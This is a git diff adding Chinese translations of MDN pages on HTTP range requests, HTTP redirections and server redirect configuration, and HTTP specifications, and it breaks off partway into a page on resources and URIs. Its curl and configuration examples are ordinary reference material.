a/files/zh-cn/web/http/range_requests/index.html b/files/zh-cn/web/http/range_requests/index.html new file mode 100644 index 0000000000..29a5ccab8d --- /dev/null +++ b/files/zh-cn/web/http/range_requests/index.html @@ -0,0 +1,120 @@ +--- +title: HTTP请求范围 +slug: Web/HTTP/Range_requests +tags: + - 分块传输 + - 指南 + - 断点续传 + - 范围请求 +translation_of: Web/HTTP/Range_requests +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP 协议范围请求允许服务器只发送 HTTP 消息的一部分到客户端。范围请求在传送大的媒体文件,或者与文件下载的断点续传功能搭配使用时非常有用。</p> + +<h2 id="检测服务器端是否支持范围请求">检测服务器端是否支持范围请求</h2> + +<p>假如在响应中存在 {{HTTPHeader("Accept-Ranges")}} 首部(并且它的值不为 “none”),那么表示该服务器支持范围请求。例如,你可以使用 cURL 发送一个 {{HTTPMethod("HEAD")}} 请求来进行检测。</p> + +<pre>curl -I http://i.imgur.com/z4d4kWk.jpg + +HTTP/1.1 200 OK +... +Accept-Ranges: bytes +Content-Length: 146515 +</pre> + +<p>在上面的响应中, <code>Accept-Ranges: bytes</code> 表示界定范围的单位是 bytes 。这里 {{HTTPHeader("Content-Length")}} 也是有效信息,因为它提供了要检索的图片的完整大小。</p> + +<p>如果站点未发送 <code>Accept-Ranges</code> 首部,那么它们有可能不支持范围请求。一些站点会明确将其值设置为 "none",以此来表明不支持。在这种情况下,某些应用的下载管理器会将暂停按钮禁用。</p> + +<pre>curl -I https://www.youtube.com/watch?v=EwTZ2xpQwpA + +HTTP/1.1 200 OK +... +Accept-Ranges: none +</pre> + +<h2 id="从服务器端请求特定的范围">从服务器端请求特定的范围</h2> + +<p>假如服务器支持范围请求的话,你可以使用 {{HTTPHeader("Range")}} 首部来生成该类请求。该首部指示服务器应该返回文件的哪一或哪几部分。</p> + +<h3 id="单一范围">单一范围</h3> + +<p>我们可以请求资源的某一部分。这次我们依然用 cURL 来进行测试。"-H" 选项可以在请求中追加一个首部行,在这个例子中,是用 Range 首部来请求图片文件的前 1024 个字节。</p> + +<pre>curl http://i.imgur.com/z4d4kWk.jpg -i -H "Range: bytes=0-1023"</pre> + +<p>这样生成的请求如下:</p> + +<pre>GET /z4d4kWk.jpg HTTP/1.1 +Host: i.imgur.com +Range: bytes=0-1023</pre> + +<p>服务器端会返回状态码为 {{HTTPStatus("206")}} <code>Partial Content</code> 的响应:</p> + +<pre>HTTP/1.1 206 Partial Content +Content-Range: bytes 0-1023/146515 +Content-Length: 1024 +... +(binary content) +</pre> + +<p>在这里,{{HTTPHeader("Content-Length")}} 首部现在用来表示先前请求范围的大小(而不是整张图片的大小)。{{HTTPHeader("Content-Range")}} 响应首部则表示这一部分内容在整个资源中所处的位置。</p> + +<h3 id="多重范围">多重范围</h3> + +<p>Range头部也支持一次请求文档的多个部分。请求范围用一个逗号分隔开。</p> + +<pre>curl http://www.example.com -i -H "Range: bytes=0-50, 100-150"</pre> + +<p>服务器返回206 Partial Content状态码和Content-Type:multipart/byteranges; boundary=3d6b6a416f9b5头部,Content-Type:multipart/byteranges表示这个响应有多个byterange。每一部分byterange都有他自己的Centen-type头部和Content-Range,并且使用boundary参数对body进行划分。</p> + +<pre>HTTP/1.1 206 Partial Content +Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5 +Content-Length: 282 + +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 0-50/1270 + +<!doctype html> +<html> +<head> + <title>Example Do +--3d6b6a416f9b5 +Content-Type: text/html +Content-Range: bytes 100-150/1270 + +eta http-equiv="Content-type" content="text/html; c +--3d6b6a416f9b5--</pre> + +<h3 id="条件式范围请求">条件式范围请求</h3> + +<p>当(中断之后)重新开始请求更多资源片段的时候,必须确保自从上一个片段被接收之后该资源没有进行过修改。</p> + +<p>The {{HTTPHeader("If-Range")}} 请求首部可以用来生成条件式范围请求:假如条件满足的话,条件请求就会生效,服务器会返回状态码为 {{HTTPStatus("206")}} <code>Partial </code>的响应,以及相应的消息主体。假如条件未能得到满足,那么就会返回状态码为 {{HTTPStatus("200")}} <code>OK</code> 的响应,同时返回整个资源。该首部可以与 {{HTTPHeader("Last-Modified")}} 验证器或者 {{HTTPHeader("ETag")}} 一起使用,但是二者不能同时使用。</p> + +<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT </pre> + +<h2 id="范围请求的响应">范围请求的响应</h2> + +<p>与范围请求相关的有三种状态:</p> + +<ul> + <li>在请求成功的情况下,服务器会返回 {{HTTPStatus("206")}} <code>Partial Content</code> 状态码。</li> + <li>在请求的范围越界的情况下(范围值超过了资源的大小),服务器会返回 {{HTTPStatus("416")}} <code>Requested Range Not Satisfiable</code> (请求的范围无法满足) 状态码。</li> + <li>在不支持范围请求的情况下,服务器会返回 {{HTTPStatus("200")}} <code>OK</code> 状态码。</li> +</ul> + +<h2 id="与分块传输编码的对比">与分块传输编码的对比</h2> + +<p>{{HTTPHeader("Transfer-Encoding")}} 首部允许分块编码,这在数据量很大,并且在请求未能完全处理完成之前无法知晓响应的体积大小的情况下非常有用。服务器会直接把数据发送给客户端而无需进行缓冲或确定响应的精确大小——后者会增加延迟。范围请求与分块传输是兼容的,可以单独或搭配使用。</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>相关状态码: {{HTTPStatus("200")}}, {{HTTPStatus("206")}}, {{HTTPStatus("416")}}.</li> + <li>相关首部: {{HTTPHeader("Accept-Ranges")}}, {{HTTPHeader("Range")}}, {{HTTPHeader("Content-Range")}}, {{HTTPHeader("If-Range")}}, {{HTTPHeader("Transfer-Encoding")}}.</li> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/06/03/download-resumption-in-internet-explorer/">IE 浏览器中的断点续传功能</a></li> +</ul> diff --git a/files/zh-cn/web/http/redirections/index.html b/files/zh-cn/web/http/redirections/index.html new file mode 100644 index 0000000000..d2a879e475 --- /dev/null +++ b/files/zh-cn/web/http/redirections/index.html @@ -0,0 +1,294 @@ +--- +title: HTTP 的重定向 +slug: Web/HTTP/Redirections +tags: + - 指南 + - 重定向 +translation_of: Web/HTTP/Redirections +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">URL 重定向,也称为 URL 转发,是一种当实际资源,如单个页面、表单或者整个 Web 应用被迁移到新的 URL 下的时候,保持(原有)链接可用的技术。HTTP 协议提供了一种特殊形式的响应—— HTTP 重定向(HTTP redirects)来执行此类操作。</p> + +<p>重定向可实现许多目标:</p> + +<ul> + <li>站点维护或停机期间的临时重定向。</li> + <li>永久重定向将在更改站点的URL,上传文件时的进度页等之后保留现有的链接/书签。</li> + <li>上传文件时的表示进度的页面。</li> +</ul> + +<h2 id="原理">原理</h2> + +<p>在 HTTP 协议中,重定向操作由服务器通过发送特殊的响应(即 redirects)而触发。HTTP 协议的重定向响应的状态码为 3xx 。</p> + +<p>浏览器在接收到重定向响应的时候,会采用该响应提供的新的 URL ,并立即进行加载;大多数情况下,除了会有一小部分性能损失之外,重定向操作对于用户来说是不可见的。<br> + </p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p> + +<p>不同类型的重定向映射可以划分为三个类别:</p> + +<ol> + <li><a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/HTTP/Redirections$edit#Permanent_redirections">永久重定向</a></li> + <li><a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/HTTP/Redirections$edit#Temporary_redirections">临时重定向</a></li> + <li><a href="https://wiki.developer.mozilla.org/zh-CN/docs/Web/HTTP/Redirections$edit#Special_redirections">特殊重定向</a></li> +</ol> + +<h3 id="永久重定向">永久重定向</h3> + +<p>这种重定向操作是永久性的。它表示原 URL 不应再被使用,而应该优先选用新的 URL。搜索引擎机器人会在遇到该状态码时触发更新操作,在其索引库中修改与该资源相关的 URL 。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">编码</th> + <th scope="col">含义</th> + <th scope="col">处理方法</th> + <th scope="col">典型应用场景</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>301</code></td> + <td>Moved Permanently</td> + <td>{{HTTPMethod("GET")}} 方法不会发生变更,其他方法有可能会变更为 {{HTTPMethod("GET")}} 方法。<sup><a href="#attr1">[1]</a></sup></td> + <td>网站重构。</td> + </tr> + <tr> + <td><code>308</code></td> + <td>Permanent Redirect</td> + <td>方法和消息主体都不发生变化。</td> + <td> + <p>网站重构,用于非GET方法。(with non-GET links/operations)</p> + </td> + </tr> + </tbody> +</table> + +<p><a id="attr1" name="attr1"></a>[1] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 308 状态码被创建用来消除在使用非 GET 方法时的歧义行为。</p> + +<h3 id="临时重定向">临时重定向</h3> + +<p>有时候请求的资源无法从其标准地址访问,但是却可以从另外的地方访问。在这种情况下可以使用临时重定向。</p> + +<p>搜索引擎不会记录该新的、临时的链接。在创建、更新或者删除资源的时候,临时重定向也可以用于显示临时性的进度页面。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">编码</th> + <th scope="col">含义</th> + <th scope="col">处理方法</th> + <th scope="col">典型应用场景</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>302</code></td> + <td><code>Found</code></td> + <td>{{HTTPMethod("GET")}} 方法不会发生变更,其他方法有可能会变更为 {{HTTPMethod("GET")}} 方法。<sup><a href="#attr2">[2]</a></sup></td> + <td>由于不可预见的原因该页面暂不可用。在这种情况下,搜索引擎不会更新它们的链接。</td> + </tr> + <tr> + <td><code>303</code></td> + <td><code>See Other</code></td> + <td>{{HTTPMethod("GET")}} 方法不会发生变更,其他方法会<strong>变更</strong>为 GET 方法(消息主体会丢失)。</td> + <td>用于{{HTTPMethod("PUT")}} 或 {{HTTPMethod("POST")}} 请求完成之后进行页面跳转来防止由于页面刷新导致的操作的重复触发。</td> + </tr> + <tr> + <td><code>307</code></td> + <td><code>Temporary Redirect</code></td> + <td>方法和消息主体都不发生变化。</td> + <td>由于不可预见的原因该页面暂不可用。在这种情况下,搜索引擎不会更新它们的链接。当站点支持非 GET 方法的链接或操作的时候,该状态码优于 302 状态码。</td> + </tr> + </tbody> +</table> + +<p><a id="attr2" name="attr2"></a>[2] 该规范无意使方法发生改变,但在实际应用中用户代理会这么做。 307 状态码被创建用来消除在使用非 GET 方法时的歧义行为。</p> + +<h3 id="特殊重定向">特殊重定向</h3> + +<p>除了上述两种常见的重定向之外,还有两种特殊的重定向。{{HTTPStatus("304")}} (Not Modified,资源未被修改)会使页面跳转到本地陈旧的缓存版本当中(该缓存已过期(?)),而 {{HTTPStatus("300")}} (Multiple Choice,多项选择) 则是一种手工重定向:以 Web 页面形式呈现在浏览器中的消息主体包含了一个可能的重定向链接的列表,用户可以从中进行选择。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">编码</th> + <th scope="col">含义</th> + <th scope="col">典型应用场景</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>300</code></td> + <td><code>Multiple Choice</code></td> + <td>不常用:所有的选项在消息主体的 HTML 页面中列出。鼓励在 {{HTTPHeader("Link")}} 头部加入机器可读的 <code>rel=alternate</code></td> + </tr> + <tr> + <td><code>304</code></td> + <td><code>Not Modified</code></td> + <td>发送用于重新验证的条件请求。表示缓存的响应仍然是新鲜的并且可以使用。</td> + </tr> + </tbody> +</table> + +<h2 id="设定重定向映射的其他方法">设定重定向映射的其他方法</h2> + +<p>HTTP 协议中重定向机制并非唯一的重定向映射的方式。其他两种方法包括:</p> + +<ol> + <li>借助 HTML 的 meta 元素的 HTML 重定向机制</li> + <li>借助 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model">DOM</a> 的 JavaScript 重定向机制。</li> +</ol> + +<h3 id="HTML_重定向机制">HTML 重定向机制</h3> + +<p>HTTP 协议中重定向机制是应该优先采用的创建重定向映射的方式,但是有时候 Web 开发者对于服务器没有控制权,或者无法对其进行配置。针对这些特定的应用情景,Web 开发者可以在精心制作的 HTML 页面的 {{HTMLElement("head")}} 部分添加一个 {{HTMLElement("meta")}} 元素,并将其 {{htmlattrxref("http-equiv", "meta")}} 属性的值设置为 <code>refresh</code> 。当显示页面的时候,浏览器会检测该元素,然后跳转到指定的页面。</p> + +<pre class="brush: html notranslate"><head> + <meta http-equiv="Refresh" content="0; URL=http://example.com/" /> +</head> +</pre> + +<p>{{htmlattrxref("content")}} 属性的值开头是一个数字,指示浏览器在等待该数字表示的秒数之后再进行跳转。建议始终将其设置为 0 来获取更好的可访问性。</p> + +<p>显然,该方法仅适用于 HTML 页面(或类似的页面),然而并不能应用于图片或者其他类型的内容。</p> + +<div class="note"> +<p>注意这种机制会使浏览器的回退按钮失效:可以返回含有这个头部的页面,但是又会立即跳转。</p> +</div> + +<h3 id="JavaScript_重定向机制">JavaScript 重定向机制</h3> + +<p>在 JavaScript 中,重定向机制的原理是设置 {{domxref("window.location")}} 的属性值,然后加载新的页面。</p> + +<pre class="brush: js notranslate">window.location = "http://example.com/";</pre> + +<p>与 HTML 重定向机制类似,这种方式并不适用于所有类型的资源,并且显然只有在支持 JavaScript 的客户端上才能使用。另外一方面,它也提供了更多的可能性,比如在只有满足了特定的条件的情况下才可以触发重定向机制的场景。</p> + +<h3 id="优先级">优先级</h3> + +<p>由于存在上述三种 URL 重定向机制,那么在多种方法同时设定的情况下,哪种方法会首先起作用呢?优先级顺序如下:</p> + +<ol> + <li>HTTP 协议的重定向机制永远最先触发,即便是在没有传送任何页面——也就没有页面被(客户端)读取——的情况下。</li> + <li>HTML 的重定向机制 ({{HTMLElement("meta")}}) 会在 HTTP 协议重定向机制未设置的情况下触发。</li> + <li>JavaScript 的重定向机制总是作为最后诉诸的手段,并且只有在客户端开启了 JavaScript 的情况下才起作用。</li> +</ol> + +<p>任何情况下,只要有可能,就应该采用 HTTP 协议的重定向机制,而不要使用 {{HTMLElement("meta")}} 标签。假如开发人员修改了 HTTP 重定向映射而忘记修改 HTML 页面的重定向映射,那么二者就会不一致,最终结果或者出现无限循环,或者导致其他噩梦的发生。</p> + +<h2 id="应用场景">应用场景</h2> + +<p>有以下几种应用场景可以使用重定向机制,但是需要注意应该尽可能地限制其使用数量,因为每一次重定向都会带来性能上的开销。</p> + +<h3 id="域名别称">域名别称</h3> + +<p>理想情况下,一项资源只有一个访问位置,也就是只有一个 URL 。但是由于种种原因,需要为资源设定不同的名称(即不同的域名,例如带有和不带有 www 前缀的URL,以及简短易记的 URL 等)。在这种情况下,实用的方法是将其重定向到那个实际的(标准的)URL,而不是复制资源。</p> + +<p>在以下几种情况下可以使用域名别称:</p> + +<dl> + <dt>扩大站点的用户覆盖面。</dt> + <dd>一个常见的场景是,假如站点位于 <code>www.example.com</code> 域名下,那么通过 <code>example.com </code>也应该可以访问到。这种情况下,可以建立从 <code>example.com</code> 的页面到 <code>www.example.com</code> 的重定向映射。此外还可以提供常见的同义词,或者该域名容易导致的拼写错误的域名别称。</dd> + <dt>迁移到另外一个域名。</dt> + <dd>例如,公司改名后,你希望用户在搜索旧名称的时候,依然可以访问到应用了新名称的站点。</dd> + <dt>强制使用 HTTPS 协议。</dt> + <dd>对于 HTTP 版本站点的请求会被重定向至采用了 HTTPS 协议的版本。</dd> + <dt> + <h3 id="保持链接有效">保持链接有效</h3> + </dt> +</dl> + +<p>当你重构 Web 站点的时候,资源的 URL 会发生改变。即便是你可以更新站点内部的链接来适应新的命名体系,但无法控制被外部资源使用的 URL 。</p> + +<p>你并不想因此而使旧链接失效,因为它们会为你带来宝贵的用户(并且帮助优化你的SEO),所以需要建立从旧链接到新链接的重定向映射。</p> + +<div class="note"> +<p>即便是这项技术可以同样应用于内部链接,但是应该尽量避免内部重定向映射。重定向机制会带来相当大的性能开销(额外的 HTTP 请求),所以如果你可以通过修复链接来避免的话,那么就应该将其修复。</p> +</div> + +<h3 id="对于不安全请求的临时响应">对于不安全请求的临时响应</h3> + +<p>不安全({{Glossary("safe", "Unsafe")}})请求会修改服务器端的状态,应该避免用户无意的重复操作。</p> + +<p>通常,你并不想要你的用户重复发送 {{HTTPMethod("PUT")}}、{{HTTPMethod("POST")}} 或 {{HTTPMethod("DELETE")}} 请求。假如你仅仅为该类请求返回响应的话,简单地点击刷新按钮就会(可能会有一个确认信息)导致请求的重复发送。</p> + +<p>在这种情况下,服务器可以返回一个 {{HTTPStatus("303")}} (See Other) 响应,其中含有合适的响应信息。如果刷新按钮被点击的话,只会导致该页面被刷新,而不会重复提交不安全的请求。</p> + +<h3 id="对于耗时请求的临时响应">对于耗时请求的临时响应</h3> + +<p>一些请求的处理会需要比较长的时间,比如有时候 {{HTTPHeader("DELETE")}} 请求会被安排为稍后处理。在这种情况下,会返回一个 {{HTTPStatus("303")}} (See Other) 重定向响应,该响应链接到一个页面,表示请求的操作已经被列入计划,并且最终会通知用户操作的进展情况,或者允许用户将其取消。</p> + +<h2 id="在通用服务器中配置重定向">在通用服务器中配置重定向</h2> + +<h3 id="Apache">Apache</h3> + +<p>重定向映射可以在服务器的配置文件中设置,也可以在每一个文件目录的 .htaccess 文件中设置。</p> + +<p><a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> 模块提供了 <code>Redirect</code> 和 <code>Redirect_Match</code> 两种指令来设置 {{HTTPStatus("302")}} 响应(默认值):</p> + +<pre class="notranslate"><VirtualHost *:443> + ServerName example.com + Redirect / https://www.example.com +</VirtualHost> +</pre> + +<p>URL <code>https://example.com/</code> 会被重定向至 <code>https://www.example.com/</code> ,URL 下的任何文件或目录也将重定向到该 URL(<code>https://example.com/some-page</code> 将重定向至 <code>https://www.example.com/some-page</code>)。</p> + +<p><code>Redirect_Match</code> 指令的功能与之类似,不同之处在于它可以通过<a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Regular_expression">正则表达式</a>来指定一批受影响的 URL :</p> + +<pre class="notranslate">RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre> + +<p>位于 <code>images/</code> 文件夹下的所有文档都会被重定向至新的域名。</p> + +<p>如果你不想要设置临时跳转,那么可是使用额外的参数(使用 HTTP 状态码或者 permanent 关键字)来进行设置:</p> + +<pre class="notranslate">Redirect permanent / https://www.example.com +# …acts the same as: +Redirect 301 / https://www.example.com</pre> + +<p><a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> 模块也可以用来设置重定向映射。它应用起来更灵活,但也更加复杂。</p> + +<h3 id="Nginx">Nginx</h3> + +<p>在 Nginx 中,你可以创建一个服务器模块来进行重定向设置:</p> + +<pre class="notranslate">server { + listen 80; + server_name example.com; + return 301 $scheme://www.example.com$request_uri; +}</pre> + +<p>可以使用 rewrite 指令来针对一个文件目录或者一部分页面应用重定向设置:</p> + +<pre class="notranslate">rewrite ^/images/(.*)$ http://images.example.com/$1 redirect; +rewrite ^/images/(.*)$ http://images.example.com/$1 permanent; +</pre> + +<h3 id="IIS">IIS</h3> + +<p>在 IIS 中,你可以使用 <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect"><httpRedirect></a></code> 元素来配置重定向映射。</p> + +<h2 id="重定向死锁(循环)">重定向死锁(循环)</h2> + +<p>当后续的重定向路径重复之前的路径的时候,重定向循环就产生了。换句话说,就是陷入了无限循环当中,不会有一个最终的页面返回。</p> + +<p>大多数情况下,这属于服务器端错误。如果服务器检测不到,就会返回 {{HTTPStatus("500")}} <code>Internal Server Error</code> 。假如你在修改了服务器配置不久就出现了这个问题,八成是遇到了重定向循环。</p> + +<p>有时候,服务器端无法对其进行检测:重定向循环发生于多台服务器之间,对于每一台服务器来说,都无法获得一个全景图。在这种情况下,浏览器会负责进行检测,然后返回错误信息。Firefox 会呈现如下信息:</p> + +<pre class="bz_comment_text notranslate" id="comment_text_0">Firefox has detected that the server is redirecting the request for this address in a way that will never complete. +Firefox 检测到服务器正在试图将请求进行重定向,而这种重定向永远不会完结。 +</pre> + +<p>而 Chrome 则会呈现如下信息:</p> + +<pre class="notranslate">This Webpage has a redirect loop +本页面包含有重定向循环。 +</pre> + +<p>无论哪个场景,用户对此都无能为力(除非客户端发生突变,比如说缓存或者Cookie不匹配)</p> + +<p>避免重定向循环非常重要,因为它会完全毁掉用户的体验。</p> diff --git a/files/zh-cn/web/http/resources_and_specifications/index.html b/files/zh-cn/web/http/resources_and_specifications/index.html new file mode 100644 index 0000000000..fa5b7fbd51 --- /dev/null +++ b/files/zh-cn/web/http/resources_and_specifications/index.html @@ -0,0 +1,269 @@ +--- +title: HTTP 资源与规范 +slug: Web/HTTP/Resources_and_specifications +translation_of: Web/HTTP/Resources_and_specifications +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP 协议于 20 世纪 90 年代初期被规范化。得益于其扩展性,该规范至今又添加了大量的补充内容。这些增补规范文档散落在网络的不同位置。本文列出了与 HTTP 协议相关的规范文档。</p> + +<table class="standard-table" style="height: 2648px; width: 692px;"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + <th scope="col">状态</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{rfc(7230)}}</td> + <td>超文本传输协议(HTTP/1.1):报文格式与路由</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7231)}}</td> + <td>超文本传输协议(HTTP/1.1):语义与内容</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7232)}}</td> + <td>超文本传输协议(HTTP/1.1):条件请求</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7233)}}</td> + <td>超文本传输协议(HTTP/1.1):范围请求</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7234)}}</td> + <td>超文本传输协议(HTTP/1.1):缓存</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(5861)}}</td> + <td>针对陈旧内容的 HTTP 缓存控制扩展</td> + <td>信息参考</td> + </tr> + <tr> + <td>{{rfc(8246)}}</td> + <td>不可变的 HTTP 响应</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7235)}}</td> + <td>超文本传输协议(HTTP/1.1):认证</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(6265)}}</td> + <td>HTTP 状态控制机制:定义 Cookies</td> + <td>建议标准</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td> + <td>Cookie 前缀</td> + <td>IETF 草案</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td> + <td>同源 Cookies</td> + <td>IETF 草案</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01">Draft spec</a></td> + <td>反对非安全的源站对安全 cookies 进行修改</td> + <td>IETF 草案</td> + </tr> + <tr> + <td>{{rfc(2145)}}</td> + <td>HTTP 版本号的使用与解释</td> + <td>信息参考</td> + </tr> + <tr> + <td>{{rfc(6585)}}</td> + <td>扩展的 HTTP 状态码</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7538)}}</td> + <td>超文本传输协议的 308 状态码(永久重定向)</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7725)}}</td> + <td>用于报告法律限制的 HTTP 状态码</td> + <td>即将成为标准</td> + </tr> + <tr> + <td>{{rfc(2397)}}</td> + <td>URL 的“data“方案</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(3986)}}</td> + <td>统一资源定位符(URI):通用语法</td> + <td>因特网标准</td> + </tr> + <tr> + <td>{{rfc(5988)}}</td> + <td>网络链接<br> + <em>定义了 {{HTTPHeader("Link")}} 首部字段</em></td> + <td>建议标准</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td> + <td>超文本传输协议(HTTP))的 Keep-Alive 首部字段</td> + <td>信息参考(已过期)</td> + </tr> + <tr> + <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td> + <td>HTTP 客户端提示</td> + <td>IETF 草案</td> + </tr> + <tr> + <td>{{rfc(7578)}}</td> + <td>从表单中返回数据:multipart/form-data</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(6266)}}</td> + <td>在超文本传输协议(HTTP)中使用 Content-Disposition 首部字段</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(2183)}}</td> + <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br> + <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7239)}}</td> + <td>前向 HTTP 扩展</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(6455)}}</td> + <td>WebSocket 协议</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(5246)}}</td> + <td>安全传输层(TLS)协议 1.2 版本<br> + <em>该规范已经被后续 RFC 文档进行了修改,不过这些修改不会对 HTTP 协议本身产生效力。</em></td> + <td>建议标准</td> + </tr> + <tr> + <td><a href="https://tlswg.github.io/tls13-spec/)">Draft spec</a></td> + <td>安全传输层(TLS)协议 1.3 版本<br> + <em>该版本就绪之后,将取代之前的 1.2 版本</em></td> + <td>IETF 草案</td> + </tr> + <tr> + <td>{{rfc(2817)}}</td> + <td>在 HTTP/1.1中进行 TLS 升级</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7540)}}</td> + <td>超文本传输协议版本 2(HTTP/2)</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(7541)}}</td> + <td>HPACK:对HTTP/2 的首部进行压缩</td> + <td>即将成为标准</td> + </tr> + <tr> + <td>{{rfc(7838)}}</td> + <td>HTTP 替代服务</td> + <td>即将成为标准</td> + </tr> + <tr> + <td>{{rfc(7301)}}</td> + <td>对安全传输层(TLS)的应用层协议的协商的扩展<br> + <em>用于在传输 HTTP/2 报文时进行协商,以减少一对额外的请求/响应</em></td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(6454)}}</td> + <td>网络源站的概念</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{SpecName("CORS")}}</td> + <td>跨域资源共享</td> + <td>{{Spec2("CORS")}}</td> + </tr> + <tr> + <td>{{rfc(7034)}}</td> + <td>HTTP 首部字段 X-Frame-Options</td> + <td>信息参考</td> + </tr> + <tr> + <td>{{rfc(6797)}}</td> + <td>HTTP 严格安全传输(HSTS)</td> + <td>建议标准</td> + </tr> + <tr> + <td>{{SpecName("Upgrade Insecure Requests")}}</td> + <td>对不安全的请求进行升级</td> + <td>{{Spec2("Upgrade Insecure Requests")}}</td> + </tr> + <tr> + <td>{{SpecName("CSP 1.0")}}</td> + <td>内容安全策略 1.0 版本<br> + <em>CSP 1.1 与 CSP 3.0 并未扩展 HTTP 协议标准</em></td> + <td>{{Spec2("CSP 1.0")}}</td> + </tr> + <tr> + <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td> + <td> + <p><em>指定传统文档模式</em></p> + + <p><em>定义 X-UA-Compatible规范</em></p> + </td> + <td>注记</td> + </tr> + <tr> + <td>{{rfc(5689)}}</td> + <td>HTTP拓展之Web分布式创作与版本控制(WebDAV)<br> + <em>这些Web上的拓展,与CardDAV和CalDAV一起超出了Web上的HTTP的范围。当下应用的现代API使用了RESTful的接口。 </em></td> + <td>建议标准</td> + </tr> + <tr> + <td>{{rfc(2324)}}</td> + <td>超文本咖啡壶控制协议(HTCPCP/1.0)</td> + <td>愚人节玩笑</td> + </tr> + <tr> + <td>{{rfc(7168)}}</td> + <td>超文本咖啡壶控制协议的茶壶扩展(HTCPCP-TEA)</td> + <td>愚人节玩笑</td> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG")}}</td> + <td>HTML<br> + <em>针对服务端发送的事件定义了 HTTP 扩展</em></td> + <td>{{Spec2("HTML WHATWG")}}</td> + </tr> + <tr> + <td><a href="https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html">Tracking Preference Expression</a></td> + <td>DNT 首部字段</td> + <td>编辑草案/推荐候选</td> + </tr> + <tr> + <td><a href="http://wicg.github.io/reporting/">Reporting API</a></td> + <td><code>Report-To</code> 首部字段</td> + <td>草案</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-01">Draft spec</a></td> + <td>Expect-CT拓展于HTTP</td> + <td>IETF草案</td> + </tr> + </tbody> +</table> + +<p> </p> diff --git a/files/zh-cn/web/http/resources_and_uris/index.html b/files/zh-cn/web/http/resources_and_uris/index.html new file mode 100644 index 0000000000..f96bf3e476 --- /dev/null +++ b/files/zh-cn/web/http/resources_and_uris/index.html @@ -0,0 +1,27 @@ +--- +title: Resources and URIs +slug: Web/HTTP/Resources_and_URIs +tags: + - HTTP + - MIME + - URI +translation_of: Web/HTTP/Resources_and_URIs +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP允许浏览器或<a href="/zh-CN/docs/Glossary/User_agent">用户代理</a>与互联网上的不同<em>资源</em>进行通信。要做到这一点,需要知道资源的<em>身份</em>与<em>位置</em>。这两部分的信息用<a href="/zh-CN/docs/Glossary/URI">URI</a>来定义。</p> + +<dl> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">定位网络资源</a></dt> + <dd>URI与其如何访问网络资源。</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">数据URI</a></dt> + <dd>一类特殊的URI:数据URI。其将数据嵌入标识符。</dd> + <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs">选择“www”URI或“非www”URI</a></dt> + 